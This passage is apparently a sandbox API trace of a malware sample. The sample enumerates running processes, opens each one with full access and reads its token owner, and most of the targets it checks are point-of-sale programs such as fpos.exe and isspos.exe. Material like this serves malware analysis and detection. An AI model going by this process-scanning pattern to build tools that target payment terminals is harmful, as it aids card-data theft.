	[0102.233] GetTokenInformation (in: TokenHandle=0x2ec, TokenInformationClass=0x1, TokenInformation=0x29cf90, TokenInformationLength=0x0, ReturnLength=0x114508 | out: TokenInformation=0x29cf90, ReturnLength=0x114508) returned 0
	[0102.233] GetProcessHeap () returned 0x240000
	[0102.233] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x2c) returned 0x29cf90
	[0102.233] GetTokenInformation (in: TokenHandle=0x2ec, TokenInformationClass=0x1, TokenInformation=0x29cf90, TokenInformationLength=0x2c, ReturnLength=0x114508 | out: TokenInformation=0x29cf90, ReturnLength=0x114508) returned 1
	[0102.234] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x29cfa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x0, cchName=0x114518, ReferencedDomainName=0x0, cchReferencedDomainName=0x114510, peUse=0x114260 | out: Name=0x0, cchName=0x114518, ReferencedDomainName=0x0, cchReferencedDomainName=0x114510, peUse=0x114260) returned 0
	[0102.236] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x29cfa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x2b4460, cchName=0x114518, ReferencedDomainName=0x2c9630, cchReferencedDomainName=0x114510, peUse=0x114260 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x114518, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x114510, peUse=0x114260) returned 1
	[0102.237] GetProcessHeap () returned 0x240000
	[0102.237] HeapFree (in: hHeap=0x240000, dwFlags=0x1, lpMem=0x29cf90 | out: hHeap=0x240000) returned 1
	[0102.237] CloseHandle (hObject=0x160) returned 1
	[0102.237] Process32NextW (in: hSnapshot=0x17c, lppe=0x114280 | out: lppe=0x114280*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xacc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1
	[0102.240] SetLastError (dwErrCode=0x0) 
	[0102.240] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0xacc) returned 0x160
	[0102.240] OpenProcessToken (in: ProcessHandle=0x160, DesiredAccess=0x20008, TokenHandle=0x114268 | out: TokenHandle=0x114268*=0x2f0) returned 1
	[0102.240] GetTokenInformation (in: TokenHandle=0x2f0, TokenInformationClass=0x1, TokenInformation=0x29cf90, TokenInformationLength=0x0, ReturnLength=0x114508 | out: TokenInformation=0x29cf90, ReturnLength=0x114508) returned 0
	[0102.240] GetProcessHeap () returned 0x240000
	[0102.240] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x2c) returned 0x29cf90
	[0102.241] GetTokenInformation (in: TokenHandle=0x2f0, TokenInformationClass=0x1, TokenInformation=0x29cf90, TokenInformationLength=0x2c, ReturnLength=0x114508 | out: TokenInformation=0x29cf90, ReturnLength=0x114508) returned 1
	[0102.241] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x29cfa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x0, cchName=0x114518, ReferencedDomainName=0x0, cchReferencedDomainName=0x114510, peUse=0x114260 | out: Name=0x0, cchName=0x114518, ReferencedDomainName=0x0, cchReferencedDomainName=0x114510, peUse=0x114260) returned 0
	[0102.243] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x29cfa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x2b4460, cchName=0x114518, ReferencedDomainName=0x2c9ad0, cchReferencedDomainName=0x114510, peUse=0x114260 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x114518, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x114510, peUse=0x114260) returned 1
	[0102.244] GetProcessHeap () returned 0x240000
	[0102.244] HeapFree (in: hHeap=0x240000, dwFlags=0x1, lpMem=0x29cf90 | out: hHeap=0x240000) returned 1
	[0102.244] CloseHandle (hObject=0x160) returned 1
	[0102.244] Process32NextW (in: hSnapshot=0x17c, lppe=0x114280 | out: lppe=0x114280*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xadc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1
	[0102.247] SetLastError (dwErrCode=0x0) 
	[0102.247] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0xadc) returned 0x160
	[0102.247] OpenProcessToken (in: ProcessHandle=0x160, DesiredAccess=0x20008, TokenHandle=0x114268 | out: TokenHandle=0x114268*=0x2f4) returned 1
	[0102.247] GetTokenInformation (in: TokenHandle=0x2f4, TokenInformationClass=0x1, TokenInformation=0x29cf90, TokenInformationLength=0x0, ReturnLength=0x114508 | out: TokenInformation=0x29cf90, ReturnLength=0x114508) returned 0
	[0102.247] GetProcessHeap () returned 0x240000
	[0102.247] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x2c) returned 0x29cf90
	[0102.247] GetTokenInformation (in: TokenHandle=0x2f4, TokenInformationClass=0x1, TokenInformation=0x29cf90, TokenInformationLength=0x2c, ReturnLength=0x114508 | out: TokenInformation=0x29cf90, ReturnLength=0x114508) returned 1
	[0102.247] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x29cfa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x0, cchName=0x114518, ReferencedDomainName=0x0, cchReferencedDomainName=0x114510, peUse=0x114260 | out: Name=0x0, cchName=0x114518, ReferencedDomainName=0x0, cchReferencedDomainName=0x114510, peUse=0x114260) returned 0
	[0102.249] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x29cfa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x2b4460, cchName=0x114518, ReferencedDomainName=0x2c9a90, cchReferencedDomainName=0x114510, peUse=0x114260 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x114518, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x114510, peUse=0x114260) returned 1
	[0102.250] GetProcessHeap () returned 0x240000
	[0102.251] HeapFree (in: hHeap=0x240000, dwFlags=0x1, lpMem=0x29cf90 | out: hHeap=0x240000) returned 1
	[0102.251] CloseHandle (hObject=0x160) returned 1
	[0102.251] Process32NextW (in: hSnapshot=0x17c, lppe=0x114280 | out: lppe=0x114280*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xaec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1
	[0102.253] SetLastError (dwErrCode=0x0) 
	[0102.253] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0xaec) returned 0x160
	[0102.254] OpenProcessToken (in: ProcessHandle=0x160, DesiredAccess=0x20008, TokenHandle=0x114268 | out: TokenHandle=0x114268*=0x2f8) returned 1
	[0102.254] GetTokenInformation (in: TokenHandle=0x2f8, TokenInformationClass=0x1, TokenInformation=0x29cf90, TokenInformationLength=0x0, ReturnLength=0x114508 | out: TokenInformation=0x29cf90, ReturnLength=0x114508) returned 0
	[0102.254] GetProcessHeap () returned 0x240000
	[0102.254] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x2c) returned 0x29cf90
	[0102.254] GetTokenInformation (in: TokenHandle=0x2f8, TokenInformationClass=0x1, TokenInformation=0x29cf90, TokenInformationLength=0x2c, ReturnLength=0x114508 | out: TokenInformation=0x29cf90, ReturnLength=0x114508) returned 1
	[0102.254] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x29cfa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x0, cchName=0x114518, ReferencedDomainName=0x0, cchReferencedDomainName=0x114510, peUse=0x114260 | out: Name=0x0, cchName=0x114518, ReferencedDomainName=0x0, cchReferencedDomainName=0x114510, peUse=0x114260) returned 0
	[0102.256] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x29cfa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x2b4460, cchName=0x114518, ReferencedDomainName=0x2c9630, cchReferencedDomainName=0x114510, peUse=0x114260 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x114518, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x114510, peUse=0x114260) returned 1
	[0102.257] GetProcessHeap () returned 0x240000
	[0102.257] HeapFree (in: hHeap=0x240000, dwFlags=0x1, lpMem=0x29cf90 | out: hHeap=0x240000) returned 1
	[0102.257] CloseHandle (hObject=0x160) returned 1
	[0102.258] Process32NextW (in: hSnapshot=0x17c, lppe=0x114280 | out: lppe=0x114280*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xafc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1
	[0102.260] SetLastError (dwErrCode=0x0) 
	[0102.260] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0xafc) returned 0x160
	[0102.260] OpenProcessToken (in: ProcessHandle=0x160, DesiredAccess=0x20008, TokenHandle=0x114268 | out: TokenHandle=0x114268*=0x2fc) returned 1
	[0102.261] GetTokenInformation (in: TokenHandle=0x2fc, TokenInformationClass=0x1, TokenInformation=0x29cf90, TokenInformationLength=0x0, ReturnLength=0x114508 | out: TokenInformation=0x29cf90, ReturnLength=0x114508) returned 0
	[0102.261] GetProcessHeap () returned 0x240000
	[0102.261] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x2c) returned 0x29cf90
	[0102.261] GetTokenInformation (in: TokenHandle=0x2fc, TokenInformationClass=0x1, TokenInformation=0x29cf90, TokenInformationLength=0x2c, ReturnLength=0x114508 | out: TokenInformation=0x29cf90, ReturnLength=0x114508) returned 1
	[0102.261] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x29cfa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x0, cchName=0x114518, ReferencedDomainName=0x0, cchReferencedDomainName=0x114510, peUse=0x114260 | out: Name=0x0, cchName=0x114518, ReferencedDomainName=0x0, cchReferencedDomainName=0x114510, peUse=0x114260) returned 0
	[0102.263] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x29cfa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x2b4460, cchName=0x114518, ReferencedDomainName=0x2c9ad0, cchReferencedDomainName=0x114510, peUse=0x114260 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x114518, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x114510, peUse=0x114260) returned 1
	[0102.264] GetProcessHeap () returned 0x240000
	[0102.264] HeapFree (in: hHeap=0x240000, dwFlags=0x1, lpMem=0x29cf90 | out: hHeap=0x240000) returned 1
	[0102.264] CloseHandle (hObject=0x160) returned 1
	[0102.265] Process32NextW (in: hSnapshot=0x17c, lppe=0x114280 | out: lppe=0x114280*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1
	[0102.267] SetLastError (dwErrCode=0x0) 
	[0102.267] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0xb0c) returned 0x160
	[0102.267] OpenProcessToken (in: ProcessHandle=0x160, DesiredAccess=0x20008, TokenHandle=0x114268 | out: TokenHandle=0x114268*=0x300) returned 1
	[0102.267] GetTokenInformation (in: TokenHandle=0x300, TokenInformationClass=0x1, TokenInformation=0x29cf90, TokenInformationLength=0x0, ReturnLength=0x114508 | out: TokenInformation=0x29cf90, ReturnLength=0x114508) returned 0
	[0102.267] GetProcessHeap () returned 0x240000
	[0102.267] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x2c) returned 0x29cf90
	[0102.267] GetTokenInformation (in: TokenHandle=0x300, TokenInformationClass=0x1, TokenInformation=0x29cf90, TokenInformationLength=0x2c, ReturnLength=0x114508 | out: TokenInformation=0x29cf90, ReturnLength=0x114508) returned 1
	[0102.268] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x29cfa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x0, cchName=0x114518, ReferencedDomainName=0x0, cchReferencedDomainName=0x114510, peUse=0x114260 | out: Name=0x0, cchName=0x114518, ReferencedDomainName=0x0, cchReferencedDomainName=0x114510, peUse=0x114260) returned 0
	[0102.399] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x29cfa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x2b4460, cchName=0x114518, ReferencedDomainName=0x2c9a90, cchReferencedDomainName=0x114510, peUse=0x114260 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x114518, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x114510, peUse=0x114260) returned 1
	[0102.401] GetProcessHeap () returned 0x240000
	[0102.401] HeapFree (in: hHeap=0x240000, dwFlags=0x1, lpMem=0x29cf90 | out: hHeap=0x240000) returned 1
	[0102.401] CloseHandle (hObject=0x160) returned 1
	[0102.401] Process32NextW (in: hSnapshot=0x17c, lppe=0x114280 | out: lppe=0x114280*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1
	[0102.403] SetLastError (dwErrCode=0x0) 
	[0102.404] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0xb1c) returned 0x160
	[0102.404] OpenProcessToken (in: ProcessHandle=0x160, DesiredAccess=0x20008, TokenHandle=0x114268 | out: TokenHandle=0x114268*=0x308) returned 1
	[0102.404] GetTokenInformation (in: TokenHandle=0x308, TokenInformationClass=0x1, TokenInformation=0x29cf90, TokenInformationLength=0x0, ReturnLength=0x114508 | out: TokenInformation=0x29cf90, ReturnLength=0x114508) returned 0
	[0102.404] GetProcessHeap () returned 0x240000
	[0102.404] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x2c) returned 0x29cf90
	[0102.404] GetTokenInformation (in: TokenHandle=0x308, TokenInformationClass=0x1, TokenInformation=0x29cf90, TokenInformationLength=0x2c, ReturnLength=0x114508 | out: TokenInformation=0x29cf90, ReturnLength=0x114508) returned 1
	[0102.404] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x29cfa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x0, cchName=0x114518, ReferencedDomainName=0x0, cchReferencedDomainName=0x114510, peUse=0x114260 | out: Name=0x0, cchName=0x114518, ReferencedDomainName=0x0, cchReferencedDomainName=0x114510, peUse=0x114260) returned 0
	[0102.406] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x29cfa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x2b4460, cchName=0x114518, ReferencedDomainName=0x2c9630, cchReferencedDomainName=0x114510, peUse=0x114260 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x114518, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x114510, peUse=0x114260) returned 1
	[0102.407] GetProcessHeap () returned 0x240000
	[0102.407] HeapFree (in: hHeap=0x240000, dwFlags=0x1, lpMem=0x29cf90 | out: hHeap=0x240000) returned 1
	[0102.408] CloseHandle (hObject=0x160) returned 1
	[0102.408] Process32NextW (in: hSnapshot=0x17c, lppe=0x114280 | out: lppe=0x114280*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1
	[0102.410] SetLastError (dwErrCode=0x0) 
	[0102.410] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0xb2c) returned 0x160
	[0102.410] OpenProcessToken (in: ProcessHandle=0x160, DesiredAccess=0x20008, TokenHandle=0x114268 | out: TokenHandle=0x114268*=0x30c) returned 1
	[0102.410] GetTokenInformation (in: TokenHandle=0x30c, TokenInformationClass=0x1, TokenInformation=0x29cf90, TokenInformationLength=0x0, ReturnLength=0x114508 | out: TokenInformation=0x29cf90, ReturnLength=0x114508) returned 0
	[0102.410] GetProcessHeap () returned 0x240000
	[0102.411] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x2c) returned 0x29cf90
	[0102.411] GetTokenInformation (in: TokenHandle=0x30c, TokenInformationClass=0x1, TokenInformation=0x29cf90, TokenInformationLength=0x2c, ReturnLength=0x114508 | out: TokenInformation=0x29cf90, ReturnLength=0x114508) returned 1
	[0102.411] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x29cfa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x0, cchName=0x114518, ReferencedDomainName=0x0, cchReferencedDomainName=0x114510, peUse=0x114260 | out: Name=0x0, cchName=0x114518, ReferencedDomainName=0x0, cchReferencedDomainName=0x114510, peUse=0x114260) returned 0
	[0102.412] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x29cfa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x2b4460, cchName=0x114518, ReferencedDomainName=0x2c9ad0, cchReferencedDomainName=0x114510, peUse=0x114260 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x114518, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x114510, peUse=0x114260) returned 1
	[0102.414] GetProcessHeap () returned 0x240000
	[0102.414] HeapFree (in: hHeap=0x240000, dwFlags=0x1, lpMem=0x29cf90 | out: hHeap=0x240000) returned 1
	[0102.414] CloseHandle (hObject=0x160) returned 1
	[0102.414] Process32NextW (in: hSnapshot=0x17c, lppe=0x114280 | out: lppe=0x114280*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1
	[0102.417] SetLastError (dwErrCode=0x0) 
	[0102.417] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0xb3c) returned 0x160
	[0102.417] OpenProcessToken (in: ProcessHandle=0x160, DesiredAccess=0x20008, TokenHandle=0x114268 | out: TokenHandle=0x114268*=0x310) returned 1
	[0102.417] GetTokenInformation (in: TokenHandle=0x310, TokenInformationClass=0x1, TokenInformation=0x29cf90, TokenInformationLength=0x0, ReturnLength=0x114508 | out: TokenInformation=0x29cf90, ReturnLength=0x114508) returned 0
	[0102.417] GetProcessHeap () returned 0x240000
	[0102.417] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x2c) returned 0x29cf90
	[0102.417] GetTokenInformation (in: TokenHandle=0x310, TokenInformationClass=0x1, TokenInformation=0x29cf90, TokenInformationLength=0x2c, ReturnLength=0x114508 | out: TokenInformation=0x29cf90, ReturnLength=0x114508) returned 1
	[0102.418] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x29cfa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x0, cchName=0x114518, ReferencedDomainName=0x0, cchReferencedDomainName=0x114510, peUse=0x114260 | out: Name=0x0, cchName=0x114518, ReferencedDomainName=0x0, cchReferencedDomainName=0x114510, peUse=0x114260) returned 0
	[0102.419] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x29cfa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x2b4460, cchName=0x114518, ReferencedDomainName=0x2c9a90, cchReferencedDomainName=0x114510, peUse=0x114260 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x114518, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x114510, peUse=0x114260) returned 1
	[0102.420] GetProcessHeap () returned 0x240000
	[0102.420] HeapFree (in: hHeap=0x240000, dwFlags=0x1, lpMem=0x29cf90 | out: hHeap=0x240000) returned 1
	[0102.420] CloseHandle (hObject=0x160) returned 1
	[0102.421] Process32NextW (in: hSnapshot=0x17c, lppe=0x114280 | out: lppe=0x114280*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="crime rd occupied.exe")) returned 1
	[0102.423] SetLastError (dwErrCode=0x0) 
	[0102.423] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0xb4c) returned 0x160
	[0102.423] OpenProcessToken (in: ProcessHandle=0x160, DesiredAccess=0x20008, TokenHandle=0x114268 | out: TokenHandle=0x114268*=0x314) returned 1
	[0102.423] GetTokenInformation (in: TokenHandle=0x314, TokenInformationClass=0x1, TokenInformation=0x29cf90, TokenInformationLength=0x0, ReturnLength=0x114508 | out: TokenInformation=0x29cf90, ReturnLength=0x114508) returned 0
	[0102.424] GetProcessHeap () returned 0x240000
	[0102.424] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x2c) returned 0x29cf90
	[0102.424] GetTokenInformation (in: TokenHandle=0x314, TokenInformationClass=0x1, TokenInformation=0x29cf90, TokenInformationLength=0x2c, ReturnLength=0x114508 | out: TokenInformation=0x29cf90, ReturnLength=0x114508) returned 1
	[0102.424] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x29cfa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x0, cchName=0x114518, ReferencedDomainName=0x0, cchReferencedDomainName=0x114510, peUse=0x114260 | out: Name=0x0, cchName=0x114518, ReferencedDomainName=0x0, cchReferencedDomainName=0x114510, peUse=0x114260) returned 0
	[0102.425] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x29cfa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x2b4460, cchName=0x114518, ReferencedDomainName=0x2c9630, cchReferencedDomainName=0x114510, peUse=0x114260 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x114518, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x114510, peUse=0x114260) returned 1
	[0102.427] GetProcessHeap () returned 0x240000
	[0102.427] HeapFree (in: hHeap=0x240000, dwFlags=0x1, lpMem=0x29cf90 | out: hHeap=0x240000) returned 1
	[0102.427] CloseHandle (hObject=0x160) returned 1
	[0102.427] Process32NextW (in: hSnapshot=0x17c, lppe=0x114280 | out: lppe=0x114280*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="camcorders.exe")) returned 1
	[0102.430] SetLastError (dwErrCode=0x0) 
	[0102.430] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0xb5c) returned 0x160
	[0102.430] OpenProcessToken (in: ProcessHandle=0x160, DesiredAccess=0x20008, TokenHandle=0x114268 | out: TokenHandle=0x114268*=0x318) returned 1
	[0102.431] GetTokenInformation (in: TokenHandle=0x318, TokenInformationClass=0x1, TokenInformation=0x29cf90, TokenInformationLength=0x0, ReturnLength=0x114508 | out: TokenInformation=0x29cf90, ReturnLength=0x114508) returned 0
	[0102.431] GetProcessHeap () returned 0x240000
	[0102.431] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x2c) returned 0x29cf90
	[0102.431] GetTokenInformation (in: TokenHandle=0x318, TokenInformationClass=0x1, TokenInformation=0x29cf90, TokenInformationLength=0x2c, ReturnLength=0x114508 | out: TokenInformation=0x29cf90, ReturnLength=0x114508) returned 1
	[0102.431] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x29cfa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x0, cchName=0x114518, ReferencedDomainName=0x0, cchReferencedDomainName=0x114510, peUse=0x114260 | out: Name=0x0, cchName=0x114518, ReferencedDomainName=0x0, cchReferencedDomainName=0x114510, peUse=0x114260) returned 0
	[0102.433] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x29cfa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x2b4460, cchName=0x114518, ReferencedDomainName=0x2c9ad0, cchReferencedDomainName=0x114510, peUse=0x114260 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x114518, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x114510, peUse=0x114260) returned 1
	[0102.434] GetProcessHeap () returned 0x240000
	[0102.434] HeapFree (in: hHeap=0x240000, dwFlags=0x1, lpMem=0x29cf90 | out: hHeap=0x240000) returned 1
	[0102.434] CloseHandle (hObject=0x160) returned 1
